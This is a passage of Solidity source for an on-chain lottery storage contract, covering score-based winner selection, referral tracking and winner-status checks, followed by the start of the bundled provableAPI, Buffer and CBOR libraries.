// All final scores are block.timestamp computed.
// Sort the array, to find out the highest scores!
// Firstly, partition an array to only work on top K scores,
// where K is the number of winners.
// There can be a rare case where specified number of winners is
// more than lottery token holders. We got that covered.
require( finalScores.length > 0 );
uint K = cfg.winnerCount - 1;
if( K > finalScores.length-1 )
K = finalScores.length-1; // Must be THE LAST ELEMENT's INDEX.
// Use QuickSelect to do this.
QSort_QuickSelect( finalScores, 0,
int( finalScores.length - 1 ), int( K ) );
// Now, QuickSort only the first K items, because the rest
// item scores are not high enough to become winners.
QSort_QuickSort( finalScores, 0, int( K ) );
// Now, the winner array is sorted, with the highest scores
// sitting at the first positions!
// Let's set up the winner indexes array, where we'll store
// the winners' indexes in the holders array.
// So, if this array is [8, 2, 3], that means that
// Winner #1 is holders[8], winner #2 is holders[2], and
// winner #3 is holders[3].
// Set the Number Of Winners variable.
numberOfWinners = uint16( K + 1 );
// Now, we can loop through the first numberOfWinners elements, to set
// the holder indexes!
// Loop through 16 elements at a time, to fill the structs.
for( uint offset = 0; offset < numberOfWinners; offset += 16 )
{
WinnerIndexStruct memory windStruct;
uint loopStop = ( offset + 16 > numberOfWinners ?
numberOfWinners : offset + 16 );
for( uint i = offset; i < loopStop; i++ )
{
windStruct.indexes[ i - offset ] =finalScores[ i ].holderIndex;
}
// Push this block.timestamp-filled struct to the storage array!
sortedWinnerIndexes.push( windStruct );
}
// That's it! We're done!
algorithmCompleted = true;
}
/**
* Add a holder to holders array.
* @param holder - address of a holder to add.
*/
function addHolder( address holder )
public
lotteryOnly
{
// Add it to list, and set index in the mapping.
holders.push( holder );
holderIndexes[ holder ] = holders.length - 1;
}
/**
* Removes the holder 'sender' from the Holders Array.
* However, this holder's HolderData structure persists!
*
* Notice that no index validity checks are performed, so, if
* 'sender' is not present in "holderIndexes" mapping, this
* function will remove the 0th holder instead!
* This is not a problem for us, because Lottery calls this
* function only when it's absolutely certain that 'sender' is
* present in the holders array.
*
* @param sender - address of a holder to remove.
* Named 'sender', because when token sender sends away all
* his tokens, he must then be removed from holders array.
*/
function removeHolder( address sender )
public
lotteryOnly
{
// Get index of the sender address in the holders array.
uint index = holderIndexes[ sender ];
// Remove the sender from array, by copying last element's
// value into the index'th element, where sender was before.
holders[ index ] = holders[ holders.length - 1 ];
// Remove the last element of array, which we've just copied.
holders.pop();
// Update indexes: remove the sender's index from the mapping,
// and change the previoulsy-last element's index to the
// one where we copied it - where sender was before.
delete holderIndexes[ sender ];
holderIndexes[ holders[ index ] ] = index;
}
/**
* Get holder array length.
*/
function getHolderCount()
public view
returns( uint )
{
return holders.length;
}
/**
* Generate a referral ID for a token holder.
* Referral ID is used to refer other wallets into playing our
* lottery.
* - Referrer gets bonus points for every wallet that bought
* lottery tokens and specified his referral ID.
* - Referrees (wallets who got referred by registering a valid
* referral ID, corresponding to some referrer), get some
* bonus points for specifying (registering) a referral ID.
*
* Referral ID is a uint256 number, which is generated by
* keccak256'ing the holder's address, holder's current
* token ballance, and current time.
*/
function generateReferralID( address holder )
public
lotteryOnly
returns( uint256 referralID )
{
// Check if holder has some tokens, and doesn't
// have his own referral ID yet.
require( holderData[ holder ].tokenBalance != 0/*,
"holder doesn't have any lottery tokens!" */);
require( holderData[ holder ].referralID == 0/*,
"Holder already has a referral ID!" */);
// Generate a referral ID with keccak.
uint256 refID = uint256( keccak256( abi.encodePacked(
holder, holderData[ holder ].tokenBalance, block.timestamp ) ) );
// Specify the ID as current ID of this holder.
holderData[ holder ].referralID = refID;
// If this holder wasn't referred by anyone (his referrer is
// not set), and he's block.timestamp generated his own ID, he won't
// be able to register as a referree of someone else
// from block.timestamp on.
// This is done to prevent circular dependency in referrals.
// Do it by setting a referrer to ROOT_REFERRER address,
// which is an invalid address (address(1)).
if( holderData[ holder ].referrer == address( 0 ) )
holderData[ holder ].referrer = ROOT_REFERRER;
// Create a new referrer with this ID.
referrers[ refID ] = holder;
return refID;
}
/**
* Register a referral for a token holder, using a valid
* referral ID got from a referrer.
* This function is called by a referree, who obtained a
* valid referral ID from some referrer, who previously
* generated it using generateReferralID().
*
* You can only register a referral once!
* When you do so, you get bonus referral points!
*/
function registerReferral(
address holder,
int16 referralRegisteringBonus,
uint256 referralID )
public
lotteryOnly
returns( address _referrerAddress )
{
// Check if this holder has some tokens, and if he hasn't
// registered a referral yet.
require( holderData[ holder ].tokenBalance != 0/*,
"holder doesn't have any lottery tokens!" */);
require( holderData[ holder ].referrer == address( 0 )/*,
"holder already has registered a referral!" */);
// Create a local memory copy of minMaxReferralScores.
MinMaxReferralScores memory minMaxRefCpy = minMaxReferralScores;
// Get the referrer's address from his ID, and specify
// it as a referrer of holder.
holderData[ holder ].referrer = referrers[ referralID ];
// Bonus points are added to this holder's score for
// registering a referral!
holderData[ holder ].bonusScore = referralRegisteringBonus;
// Increment number of referrees for every parent referrer,
// by traversing a referral tree child->parent way.
address referrerAddr = holderData[ holder ].referrer;
// Set the return value.
_referrerAddress = referrerAddr;
// Traverse a tree.
while( referrerAddr != ROOT_REFERRER &&
referrerAddr != address( 0 ) )
{
// Increment referree count for this referrrer.
holderData[ referrerAddr ].referreeCount++;
// Update the Referrer Scores of the referrer, adding this
// referree's scores to it's current values.
holderData[ referrerAddr ].referree_etherContributed +=
holderData[ holder ].etherContributed;
holderData[ referrerAddr ].referree_timeFactors +=
holderData[ holder ].timeFactors;
holderData[ referrerAddr ].referree_tokenBalance +=
holderData[ holder ].tokenBalance;
// Update MinMax according to this referrer's score.
priv_updateMinMaxScores_referral(
minMaxRefCpy,
holderData[ referrerAddr ].referree_etherContributed,
holderData[ referrerAddr ].referree_timeFactors,
holderData[ referrerAddr ].referree_tokenBalance
);
// Move to the higher-level referrer.
referrerAddr = holderData[ referrerAddr ].referrer;
}
// Update MinMax Referral Scores if needed.
if( keccak256( abi.encode( minMaxRefCpy ) ) !=
keccak256( abi.encode( minMaxReferralScores ) ) )
minMaxReferralScores = minMaxRefCpy;
return _referrerAddress;
}
/**
* Sets our random seed to some value.
* Should be called from Lottery, after obtaining random seed from
* the Randomness Provider.
*/
function setRandomSeed( uint _seed )
external
lotteryOnly
{
randomSeed = uint64( _seed );
}
/**
* Initialization function.
* Here, we bind our contract to the Lottery contract that
* this Storage belongs to.
* The parent lottery must call this function - hence, we set
* "lottery" to msg.sender.
*
* When this function is called, our contract must be not yet
* initialized - "lottery" address must be Zero!
*
* Here, we also set our Winner Algorithm config, which is a
* subset of LotteryConfig, fitting into 1 storage slot.
*/
function initialize(
WinnerAlgorithmConfig memory _wcfg )
public
{
require( address( lottery ) == address( 0 )/*,
"Storage is already initialized!" */);
// Set the Lottery address (msg.sender can't be zero),
// and thus, set our contract to initialized!
lottery = msg.sender;
// Set the Winner-Algo-Config.
algConfig = _wcfg;
// NOT-NEEDED: Set initial min-max scores: min is INT_MAX.
/*minMaxScores.holderScore_etherContributed_min = int80( 2 ** 78 );
minMaxScores.holderScore_timeFactors_min = int80( 2 ** 78 );
minMaxScores.holderScore_tokenBalance_min = int80( 2 ** 78 );
*/
}
// ==================== Views ==================== //
// Returns the current random seed.
// If the seed hasn't been set yet (or set to 0), returns 0.
//
function getRandomSeed()
external view
returns( uint )
{
return randomSeed;
}
// Check if Winner Selection Algorithm has beed executed.
//
function minedSelection_algorithmAlreadyExecuted()
external view
returns( bool )
{
return algorithmCompleted;
}
/**
* After lottery has completed, this function returns if "addr"
* is one of lottery winners, and the position in winner rankings.
* Function is used to obtain the ranking position before
* calling claimWinnerPrize() on Lottery.
*
* This function should be called off-chain, and then using the
* retrieved data, one can call claimWinnerPrize().
*/
function minedSelection_getWinnerStatus(
address addr )
public view
returns( bool isWinner,
uint32 rankingPosition )
{
// Loop through the whole winner indexes array, trying to
// find if "addr" is one of the winner addresses.
for( uint16 i = 0; i < numberOfWinners; i++ )
{
// Check if holder on this winner ranking's index position
// is addr, if so, good!
uint pos = sortedWinnerIndexes[ i / 16 ].indexes[ i % 16 ];
if( holders[ pos ] == addr )
{
return ( true, i );
}
}
// The "addr" is not a winner.
return ( false, 0 );
}
/**
* Checks if address is on specified winner ranking position.
* Used in Lottery, to check if msg.sender is really the
* winner #rankingPosition, as he claims to be.
*/
function minedSelection_isAddressOnWinnerPosition(
address addr,
uint32 rankingPosition )
external view
returns( bool )
{
if( rankingPosition >= numberOfWinners )
return false;
// Just check if address at "holders" array
// index "sortedWinnerIndexes[ position ]" is really the "addr".
uint pos = sortedWinnerIndexes[ rankingPosition / 16 ]
.indexes[ rankingPosition % 16 ];
return ( holders[ pos ] == addr );
}
/**
* Returns an array of all winner addresses, sorted by their
* ranking position (winner #1 first, #2 second, etc.).
*/
function minedSelection_getAllWinners()
external view
returns( address[] memory )
{
address[] memory winners = new address[] ( numberOfWinners );
for( uint i = 0; i < numberOfWinners; i++ )
{
uint pos = sortedWinnerIndexes[ i / 16 ].indexes[ i % 16 ];
winners[ i ] = holders[ pos ];
}
return winners;
}
/**
* Compute the Lottery Active Stage Score of a token holder.
*
* This function computes the Active Stage (pre-randomization)
* player score, and should generally be used to compute player
* intermediate scores - while lottery is still active or on
* finishing stage, before random random seed is obtained.
*/
function getPlayerActiveStageScore( address holderAddr )
external view
returns( uint playerScore )
{
// Copy the Winner Algo Config into memory, to avoid using
// 400-gas costing SLOAD every time we need to load something.
WinnerAlgorithmConfig memory cfg = algConfig;
// Check if holderAddr is a holder at all!
if( holders[ holderIndexes[ holderAddr ] ] != holderAddr )
return 0;
// Compute the precision-adjusted constant ratio of
// referralBonus max score to the player individual max scores.
int individualToReferralRatio =
( PRECISION * cfg.maxPlayerScore_refferalBonus ) /
( int( cfg.maxPlayerScore_etherContributed ) +
int( cfg.maxPlayerScore_timeFactor ) +
int( cfg.maxPlayerScore_tokenHoldingAmount ) );
// Max available player score.
int maxAvailablePlayerScore = int(
cfg.maxPlayerScore_etherContributed +
cfg.maxPlayerScore_timeFactor +
cfg.maxPlayerScore_tokenHoldingAmount +
cfg.maxPlayerScore_refferalBonus );
// Fix Min-Max scores, to avoid division by zero, if min == max.
// If min == max, make the difference equal to 1.
MinMaxHolderScores memory minMaxCpy = minMaxScores;
MinMaxReferralScores memory minMaxRefCpy = minMaxReferralScores;
priv_fixMinMaxIfEqual( minMaxCpy, minMaxRefCpy );
// Now, add bonus score, and compute total player's score:
// Bonus part, individual score part, and referree score part.
int totalPlayerScore =
holderData[ holderAddr ].bonusScore
+
computeHolderIndividualScores(
cfg, minMaxCpy, holderData[ holderAddr ] )
+
computeReferreeScoresForHolder(
individualToReferralRatio, cfg,
minMaxRefCpy, holderData[ holderAddr ] );
// Check if total player score <= 0. If so, make it equal
// to 1, because otherwise randomization won't be possible.
if( totalPlayerScore <= 0 )
totalPlayerScore = 1;
// Now, check if it's not more than max! If so, lowerify.
// This could have happen'd because of bonus.
if( totalPlayerScore > maxAvailablePlayerScore )
totalPlayerScore = maxAvailablePlayerScore;
// Return the score!
return uint( totalPlayerScore );
}
/**
* Internal sub-procedure of the function below, used to obtain
* a final, randomized score of a Single Holder.
*/
function priv_getSingleHolderScore(
address hold3r,
int individualToReferralRatio,
int maxAvailablePlayerScore,
int SCORE_RAND_FACT,
WinnerAlgorithmConfig memory cfg,
MinMaxHolderScores memory minMaxCpy,
MinMaxReferralScores memory minMaxRefCpy )
internal view
returns( uint endScore )
{
// Fetch the needed holder data to in-memory hdata variable,
// to save gas on score part computing functions.
HolderData memory hdata;
// Slot 1:
hdata.etherContributed =
holderData[ hold3r ].etherContributed;
hdata.timeFactors =
holderData[ hold3r ].timeFactors;
hdata.tokenBalance =
holderData[ hold3r ].tokenBalance;
hdata.referreeCount =
holderData[ hold3r ].referreeCount;
// Slot 2:
hdata.referree_etherContributed =
holderData[ hold3r ].referree_etherContributed;
hdata.referree_timeFactors =
holderData[ hold3r ].referree_timeFactors;
hdata.referree_tokenBalance =
holderData[ hold3r ].referree_tokenBalance;
hdata.bonusScore =
holderData[ hold3r ].bonusScore;
// Now, add bonus score, and compute total player's score:
// Bonus part, individual score part, and referree score part.
int totalPlayerScore =
hdata.bonusScore
+
computeHolderIndividualScores(
cfg, minMaxCpy, hdata )
+
computeReferreeScoresForHolder(
individualToReferralRatio, cfg,
minMaxRefCpy, hdata );
// Check if total player score <= 0. If so, make it equal
// to 1, because otherwise randomization won't be possible.
if( totalPlayerScore <= 0 )
totalPlayerScore = 1;
// Now, check if it's not more than max! If so, lowerify.
// This could have happen'd because of bonus.
if( totalPlayerScore > maxAvailablePlayerScore )
totalPlayerScore = maxAvailablePlayerScore;
// Multiply the score by the Random Modulo Adjustment
// Factor, to get fairer ratio of random-to-determined data.
totalPlayerScore = ( totalPlayerScore * SCORE_RAND_FACT ) /
( PRECISION );
// Score is computed!
// Now, randomize it, and add to Final Scores Array.
// We use keccak to generate a random number from random seed,
// using holder's address as a nonce.
uint modulizedRandomNumber = uint(
keccak256( abi.encodePacked( randomSeed, hold3r ) )
) % RANDOM_MODULO;
// Add the random number, to introduce the random factor.
// Ratio of (current) totalPlayerScore to modulizedRandomNumber
// is the same as ratio of randRatio_scorePart to
// randRatio_randPart.
return uint( totalPlayerScore ) + modulizedRandomNumber;
}
/**
* Winner Self-Validation algo-type main function.
* Here, we compute scores for all lottery holders iteratively
* in O(n) time, and thus get the winner ranking position of
* the holder in question.
*
* This function performs essentialy the same steps as the
* Mined-variant (executeWinnerSelectionAlgorithm), but doesn't
* write anything to blockchain.
*
* @param holderAddr - address of a holder whose rank we want to find.
*/
function winnerSelfValidation_getWinnerStatus(
address holderAddr )
internal view
returns( bool isWinner, uint rankingPosition )
{
// Copy the Winner Algo Config into memory, to avoid using
// 400-gas costing SLOAD every time we need to load something.
WinnerAlgorithmConfig memory cfg = algConfig;
// Can only be performed if algorithm is WinnerSelfValidation!
require( cfg.endingAlgoType ==
uint8(Lottery.EndingAlgoType.WinnerSelfValidation)/*,
"Algorithm cannot be performed on current Algo-Type!" */);
// Check if holderAddr is a holder at all!
require( holders[ holderIndexes[ holderAddr ] ] == holderAddr/*,
"holderAddr is not a lottery token holder!" */);
// Now, we gotta find the winners using a Randomized Score-Based
// Winner Selection Algorithm.
//
// During transfers, all player intermediate scores
// (etherContributed, timeFactors, and tokenBalances) were
// already set in every holder's HolderData structure,
// during operations of updateHolderData_preTransfer() function.
//
// Minimum and maximum values are also known, so normalization
// will be easy.
// All referral tree score data were also properly propagated
// during operations of updateAndPropagateScoreChanges() function.
//
// All we block.timestamp have to do, is loop through holder array, and
// compute randomized final scores for every holder.
// Compute the precision-adjusted constant ratio of
// referralBonus max score to the player individual max scores.
int individualToReferralRatio =
( PRECISION * cfg.maxPlayerScore_refferalBonus ) /
( int( cfg.maxPlayerScore_etherContributed ) +
int( cfg.maxPlayerScore_timeFactor ) +
int( cfg.maxPlayerScore_tokenHoldingAmount ) );
// Max available player score.
int maxAvailablePlayerScore = int(
cfg.maxPlayerScore_etherContributed +
cfg.maxPlayerScore_timeFactor +
cfg.maxPlayerScore_tokenHoldingAmount +
cfg.maxPlayerScore_refferalBonus );
// Random Factor of scores, to maintain random-to-determined
// ratio equal to specific value (1:5 for example -
// "randPart" == 5/*, "scorePart" */== 1).
//
// maxAvailablePlayerScore * FACT --- scorePart
// RANDOM_MODULO --- randPart
//
// RANDOM_MODULO * scorePart
// maxAvailablePlayerScore * FACT = -------------------------
// randPart
//
// RANDOM_MODULO * scorePart
// FACT = --------------------------------------
// randPart * maxAvailablePlayerScore
int SCORE_RAND_FACT =
( PRECISION * int(RANDOM_MODULO * cfg.randRatio_scorePart) ) /
( int(cfg.randRatio_randPart) * maxAvailablePlayerScore );
// Fix Min-Max scores, to avoid division by zero, if min == max.
// If min == max, make the difference equal to 1.
MinMaxHolderScores memory minMaxCpy = minMaxScores;
MinMaxReferralScores memory minMaxRefCpy = minMaxReferralScores;
priv_fixMinMaxIfEqual( minMaxCpy, minMaxRefCpy );
// How many holders had higher scores than "holderAddr".
// Used to obtain the final winner rank of "holderAddr".
uint numOfHoldersHigherThan = 0;
// The final (randomized) score of "holderAddr".
uint holderAddrsFinalScore = priv_getSingleHolderScore(
holderAddr,
individualToReferralRatio,
maxAvailablePlayerScore,
SCORE_RAND_FACT,
cfg, minMaxCpy, minMaxRefCpy );
// Index of holderAddr.
uint holderAddrIndex = holderIndexes[ holderAddr ];
// Loop through all the allowed holders.
for( uint i = 0;
i < ( holders.length < SELFVALIDATION_MAX_NUMBER_OF_HOLDERS ?
holders.length : SELFVALIDATION_MAX_NUMBER_OF_HOLDERS );
i++ )
{
// Skip the holderAddr's index.
if( i == holderAddrIndex )
continue;
// Compute the score using helper function.
uint endScore = priv_getSingleHolderScore(
holders[ i ],
individualToReferralRatio,
maxAvailablePlayerScore,
SCORE_RAND_FACT,
cfg, minMaxCpy, minMaxRefCpy );
// Check if score is higher than HolderAddr's, and if so, check.
if( endScore > holderAddrsFinalScore )
numOfHoldersHigherThan++;
}
// All scores are checked!
// Now, we can obtain holderAddr's winner rank based on how
// many scores were above holderAddr's score!
isWinner = ( numOfHoldersHigherThan < cfg.winnerCount );
rankingPosition = numOfHoldersHigherThan;
}
/**
* Rolled-Randomness algo-type main function.
* Here, we only compute the score of the holder in question,
* and compare it to maximum-available final score, divided
* by no-of-winners.
*
* @param holderAddr - address of a holder whose rank we want to find.
*/
function rolledRandomness_getWinnerStatus(
address holderAddr )
internal view
returns( bool isWinner, uint rankingPosition )
{
// Copy the Winner Algo Config into memory, to avoid using
// 400-gas costing SLOAD every time we need to load something.
WinnerAlgorithmConfig memory cfg = algConfig;
// Can only be performed if algorithm is RolledRandomness!
require( cfg.endingAlgoType ==
uint8(Lottery.EndingAlgoType.RolledRandomness)/*,
"Algorithm cannot be performed on current Algo-Type!" */);
// Check if holderAddr is a holder at all!
require( holders[ holderIndexes[ holderAddr ] ] == holderAddr/*,
"holderAddr is not a lottery token holder!" */);
// Now, we gotta find the winners using a Randomized Score-Based
// Winner Selection Algorithm.
//
// During transfers, all player intermediate scores
// (etherContributed, timeFactors, and tokenBalances) were
// already set in every holder's HolderData structure,
// during operations of updateHolderData_preTransfer() function.
//
// Minimum and maximum values are also known, so normalization
// will be easy.
// All referral tree score data were also properly propagated
// during operations of updateAndPropagateScoreChanges() function.
//
// All we block.timestamp have to do, is loop through holder array, and
// compute randomized final scores for every holder.
// Compute the precision-adjusted constant ratio of
// referralBonus max score to the player individual max scores.
int individualToReferralRatio =
( PRECISION * cfg.maxPlayerScore_refferalBonus ) /
( int( cfg.maxPlayerScore_etherContributed ) +
int( cfg.maxPlayerScore_timeFactor ) +
int( cfg.maxPlayerScore_tokenHoldingAmount ) );
// Max available player score.
int maxAvailablePlayerScore = int(
cfg.maxPlayerScore_etherContributed +
cfg.maxPlayerScore_timeFactor +
cfg.maxPlayerScore_tokenHoldingAmount +
cfg.maxPlayerScore_refferalBonus );
// Random Factor of scores, to maintain random-to-determined
// ratio equal to specific value (1:5 for example -
// "randPart" == 5, "scorePart" == 1).
//
// maxAvailablePlayerScore * FACT --- scorePart
// RANDOM_MODULO --- randPart
//
// RANDOM_MODULO * scorePart
// maxAvailablePlayerScore * FACT = -------------------------
// randPart
//
// RANDOM_MODULO * scorePart
// FACT = --------------------------------------
// randPart * maxAvailablePlayerScore
int SCORE_RAND_FACT =
( PRECISION * int(RANDOM_MODULO * cfg.randRatio_scorePart) ) /
( int(cfg.randRatio_randPart) * maxAvailablePlayerScore );
// Fix Min-Max scores, to avoid division by zero, if min == max.
// If min == max, make the difference equal to 1.
MinMaxHolderScores memory minMaxCpy = minMaxScores;
MinMaxReferralScores memory minMaxRefCpy = minMaxReferralScores;
priv_fixMinMaxIfEqual( minMaxCpy, minMaxRefCpy );
// The final (randomized) score of "holderAddr".
uint holderAddrsFinalScore = priv_getSingleHolderScore(
holderAddr,
individualToReferralRatio,
maxAvailablePlayerScore,
SCORE_RAND_FACT,
cfg, minMaxCpy, minMaxRefCpy );
// Now, compute the Max-Final-Random Score, divide it
// by the Holder Count, and get the ranking by placing this
// holder's score in it's corresponding part.
//
// In this approach, we assume linear randomness distribution.
// In practice, distribution might be a bit different, but this
// approach is the most efficient.
//
// Max-Final-Score (randomized) is the highest available score
// that can be achieved, and is made by adding together the
// maximum availabe Player Score Part and maximum available
// Random Part (equals RANDOM_MODULO).
// These parts have a ratio equal to config-specified
// randRatio_scorePart to randRatio_randPart.
//
// So, if player's active stage's score is low (1), but rand-part
// in ratio is huge, then the score is mostly random, so
// maxFinalScore is close to the RANDOM_MODULO - maximum random
// value that can be rolled.
//
// If, however, we use 1:1 playerScore-to-Random Ratio, then
// playerScore and RandomScore make up equal parts of end score,
// so the maxFinalScore is actually two times larger than
// RANDOM_MODULO, so player needs to score more
// player-points to get larger prizes.
//
// In default configuration, playerScore-to-random ratio is 1:3,
// so there's a good randomness factor, so even the low-scoring
// players can reasonably hope to get larger prizes, but
// the higher is player's active stage score, the more
// chances of scoring a high final score a player gets, with
// the higher-end of player scores basically guaranteeing
// themselves a specific prize amount, if winnerCount is
// big enough to overlap.
int maxRandomPart = int( RANDOM_MODULO - 1 );
int maxPlayerScorePart = ( SCORE_RAND_FACT * maxAvailablePlayerScore )
/ PRECISION;
uint maxFinalScore = uint( maxRandomPart + maxPlayerScorePart );
// Compute the amount that single-holder's virtual part
// might take up in the max-final score.
uint singleHolderPart = maxFinalScore / holders.length;
// Now, compute how many single-holder-parts are there in
// this holder's score.
uint holderAddrScorePartCount = holderAddrsFinalScore /
singleHolderPart;
// The ranking is that number, minus holders length.
// If very high score is scored, default to position 0 (highest).
rankingPosition = (
holderAddrScorePartCount < holders.length ?
holders.length - holderAddrScorePartCount : 0
);
isWinner = ( rankingPosition < cfg.winnerCount );
}
/**
* Genericized, algorithm type-dependent getWinnerStatus function.
*/
function getWinnerStatus(
address addr )
external view
returns( bool isWinner, uint32 rankingPosition )
{
bool _isW;
uint _rp;
if( algConfig.endingAlgoType ==
uint8(Lottery.EndingAlgoType.RolledRandomness) )
{
(_isW, _rp) = rolledRandomness_getWinnerStatus( addr );
return ( _isW, uint32( _rp ) );
}
if( algConfig.endingAlgoType ==
uint8(Lottery.EndingAlgoType.WinnerSelfValidation) )
{
(_isW, _rp) = winnerSelfValidation_getWinnerStatus( addr );
return ( _isW, uint32( _rp ) );
}
if( algConfig.endingAlgoType ==
uint8(Lottery.EndingAlgoType.MinedWinnerSelection) )
{
(_isW, _rp) = minedSelection_getWinnerStatus( addr );
return ( _isW, uint32( _rp ) );
}
}
}
//
// <provableAPI>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016-2019 Oraclize LTD
Copyright (c) 2019-2020 Provable Things Limited
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
// Incompatible compiler version - please select a compiler within the stated pragma range, or use a different version of the provableAPI!
// Dummy contract only used to emit to end-user they are using wrong solc
abstract contract solcChecker {
/* INCOMPATIBLE SOLC: import the following instead: "github.com/oraclize/ethereum-api/oraclizeAPI_0.4.sol" */ function f(bytes calldata x) virtual external;
}
interface ProvableI {
function cbAddress() external returns (address _cbAddress);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function getPrice(string calldata _datasource) external returns (uint _dsprice);
function randomDS_getSessionPubKeyHash() external view returns (bytes32 _sessionKeyHash);
function getPrice(string calldata _datasource, uint _gasLimit) external returns (uint _dsprice);
function queryN(uint _timestamp, string calldata _datasource, bytes calldata _argN) external payable returns (bytes32 _id);
function query(uint _timestamp, string calldata _datasource, string calldata _arg) external payable returns (bytes32 _id);
function query2(uint _timestamp, string calldata _datasource, string calldata _arg1, string calldata _arg2) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg, uint _gasLimit) external payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string calldata _datasource, bytes calldata _argN, uint _gasLimit) external payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg1, string calldata _arg2, uint _gasLimit) external payable returns (bytes32 _id);
}
interface OracleAddrResolverI {
function getAddress() external returns (address _address);
}
/*
Begin solidity-cborutils
https://github.com/smartcontractkit/solidity-cborutils
MIT License
Copyright (c) 2018 SmartContract ChainLink, Ltd.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory _buf, uint _capacity) internal pure {
uint capacity = _capacity;
if (capacity % 32 != 0) {
capacity += 32 - (capacity % 32);
}
_buf.capacity = capacity; // Allocate space for the buffer data
assembly {
let ptr := mload(0x40)
mstore(_buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory _buf, uint _capacity) private pure {
bytes memory oldbuf = _buf.buf;
init(_buf, _capacity);
append(_buf, oldbuf);
}
function max(uint _a, uint _b) private pure returns (uint _max) {
if (_a > _b) {
return _a;
}
return _b;
}
/**
* @dev Appends a byte array to the end of the buffer. Resizes if doing so
* would exceed the capacity of the buffer.
* @param _buf The buffer to append to.
* @param _data The data to append.
* @return _buffer The original buffer.
*
*/
function append(buffer memory _buf, bytes memory _data) internal pure returns (buffer memory _buffer) {
if (_data.length + _buf.buf.length > _buf.capacity) {
resize(_buf, max(_buf.capacity, _data.length) * 2);
}
uint dest;
uint src;
uint len = _data.length;
assembly {
let bufptr := mload(_buf) // Memory address of the buffer data
let buflen := mload(bufptr) // Length of existing buffer data
dest := add(add(bufptr, buflen), 32) // Start address = buffer address + buffer length + sizeof(buffer length)
mstore(bufptr, add(buflen, mload(_data))) // Update buffer length
src := add(_data, 32)
}
for(; len >= 32; len -= 32) { // Copy word-length chunks while possible
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1; // Copy remaining bytes
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return _buf;
}
/**
*
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param _buf The buffer to append to.
* @param _data The data to append.
*
*/
function append(buffer memory _buf, uint8 _data) internal pure {
if (_buf.buf.length + 1 > _buf.capacity) {
resize(_buf, _buf.capacity * 2);
}
assembly {
let bufptr := mload(_buf) // Memory address of the buffer data
let buflen := mload(bufptr) // Length of existing buffer data
let dest := add(add(bufptr, buflen), 32) // Address = buffer address + buffer length + sizeof(buffer length)
mstore8(dest, _data)
mstore(bufptr, add(buflen, 1)) // Update buffer length
}
}
/**
*
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param _buf The buffer to append to.
* @param _data The data to append.
* @return _buffer The original buffer.
*
*/
function appendInt(buffer memory _buf, uint _data, uint _len) internal pure returns (buffer memory _buffer) {
if (_len + _buf.buf.length > _buf.capacity) {
resize(_buf, max(_buf.capacity, _len) * 2);
}
uint mask = 256 ** _len - 1;
assembly {
let bufptr := mload(_buf) // Memory address of the buffer data
let buflen := mload(bufptr) // Length of existing buffer data
let dest := add(add(bufptr, buflen), _len) // Address = buffer address + buffer length + sizeof(buffer length) + len
mstore(dest, or(and(mload(dest), not(mask)), _data))
mstore(bufptr, add(buflen, _len)) // Update buffer length
}
return _buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory _buf, uint8 _major, uint _value) private pure {
if (_value <= 23) {
_buf.append(uint8((_major << 5) | _value));
} else if (_value <= 0xFF) {
_buf.append(uint8((_major << 5) | 24));
_buf.appendInt(_value, 1);
} else if (_value <= 0xFFFF) {
